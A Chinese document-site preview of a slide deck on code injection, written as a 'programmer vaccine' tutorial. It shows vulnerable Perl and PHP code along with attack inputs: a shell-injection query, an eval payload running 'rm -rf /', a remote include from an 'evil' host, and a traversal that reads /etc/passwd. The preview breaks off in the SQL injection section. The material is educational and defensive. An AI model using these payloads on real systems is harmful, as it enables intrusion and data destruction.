下载此文档

程序代码注入.ppt


文档分类:IT计算机 | 页数:约18页 举报非法文档有奖
1/18
下载提示
  • 1.该资料是网友上传的,本站提供全文预览,预览什么样,下载就什么样。
  • 2.下载该文档所得收入归上传者、原创者。
  • 3.下载的文档,不会出现我们的网址水印。
1/18 下载此文档
文档列表 文档介绍
程序员疫苗:代码注入几个月在我的微博上说过要建一个程序员疫苗网站,希望大家一起来提交一些错误示例的代码,来帮助我们新入行的程序员,不要让我们的程序员一代又一代的再重复地犯一些错误。很多程序上错误就像人类世界的病毒一样,我们应该给我们的新入行的程序员注射一些疫苗,就像给新生儿打疫苗一样,希望程序员从入行时就对这些错误有抵抗力。我的那个疫苗网站正在建议中(不好意思拖了很久),不过,我可以先写一些关于程序员疫苗性质的文章,也算是热热身。希望大家喜欢,先向大家介绍第一注疫苗——代码注入。 Shell 注入?我们先来看一段 perl 的代码: ? use CGI qw(:standard ); $name = param('name '); $ nslookup = "/path/to/ nslookup "; print header; if ( open($fh , "$ nslookup $name|")) { while (<$ fh >) { print escapeHTML ($_); print "< br >\n"; } close($fh ); } 如果用户输入的参数是: ?%20%3B%20/bin/ls%20-l 那么, 这段 perl 的程序就成了: ?/path/to/ nslookup ; /bin/ ls -l 我们再来看一段 PHP 的程序?$ myvar = ' somevalue '; $x = $_ GET['arg ']; eval('$myvar = ' . $x . ';'); “ eval “的参数将会视同 PHP 处理,所以额外的命令可被添加。例如:如果” arg ”如果被设成” 10; system('rm - rf /')“,后面的” system('rm - rf /') “代码将被运行,这等同在服务器上运行开发者意料外的程序。(关于 rm - rf /,你懂的, 可参看“一个空格引发的悲剧”) PHP 代码?再来看一个 PHP 的代码?$ isadmin = false; ... ... foreach ($_GET as $key => $value) { $$key = $value; } 如果攻击者在查询字符串中给定” isadmin =1 ″,那$ isadmin 将会被设为值“1″,然后攻击值就取得了网站应用的 admin 权限了。 PHP 示例?$action = 'login'; if (__ isset ( $_ GET['act '] ) ) $action = $_ GET['act ']; require( $action . '. php ' ); 这个代码相当危险,攻击者有可能可以干这些事: ?/ ?act = http://evil/exploit - 注入远程机器上有漏洞的文件。?/ ?act = /home/www/ bbs /upload/exploit - 从一个已经上载、叫做 文件运行其代码。?/ ?act = ../../../../etc/passwd%00 - 让攻击者取得该 UNIX 系统目录检索下密码文件的内容。一个使用空元字符以解除. php 扩展名限制,允许访问其他非. php 结尾文件。(PHP 默认值” magic_quotes_gpc = On ”可以终止这种攻击) ?这样的示例有很多,只要你的程序有诸如: system() 、 StartProcess ()、 ()、 ()以及类似的应用程序接口,都是比较危险的,最好不要让其中的字符串去拼装用户的输入。? PHP 提供 escapeshellarg ()和 escapeshellcmd ()以在调用方法以前进行编码。然而,实际上并不建议相信这些方法是安全的。 SQL 注入? SQL injection ,是发生于应用程序之数据库层的安全漏洞。简而言之,是在输入的字符串之中注入 SQL 指令,在设计不良的程序当中忽略了检查,那么这些注入进去的指令就会被数据库服务器误认为是正常的 SQL 指令而运行,因此遭到破坏。?在应用程序中若有下列状况,则可能应用程序正暴露在 SQL Injection 的高风险情况下: ?在应用程序中使用字符串联结方式组合 SQL 指令(如:引号没有转义)。?在应用程序链接数据库时使用权限过大的帐户(如:很多开发人员都喜欢用 sa (最高权限的系统管理员帐户)连接 Microsoft SQL Server 数

程序代码注入 来自淘豆网m.daumloan.com转载请标明出处.

相关文档 更多>>
非法内容举报中心
文档信息
  • 页数18
  • 收藏数0 收藏
  • 顶次数0
  • 上传人yzhqw888
  • 文件大小0 KB
  • 时间2016-06-04
最近更新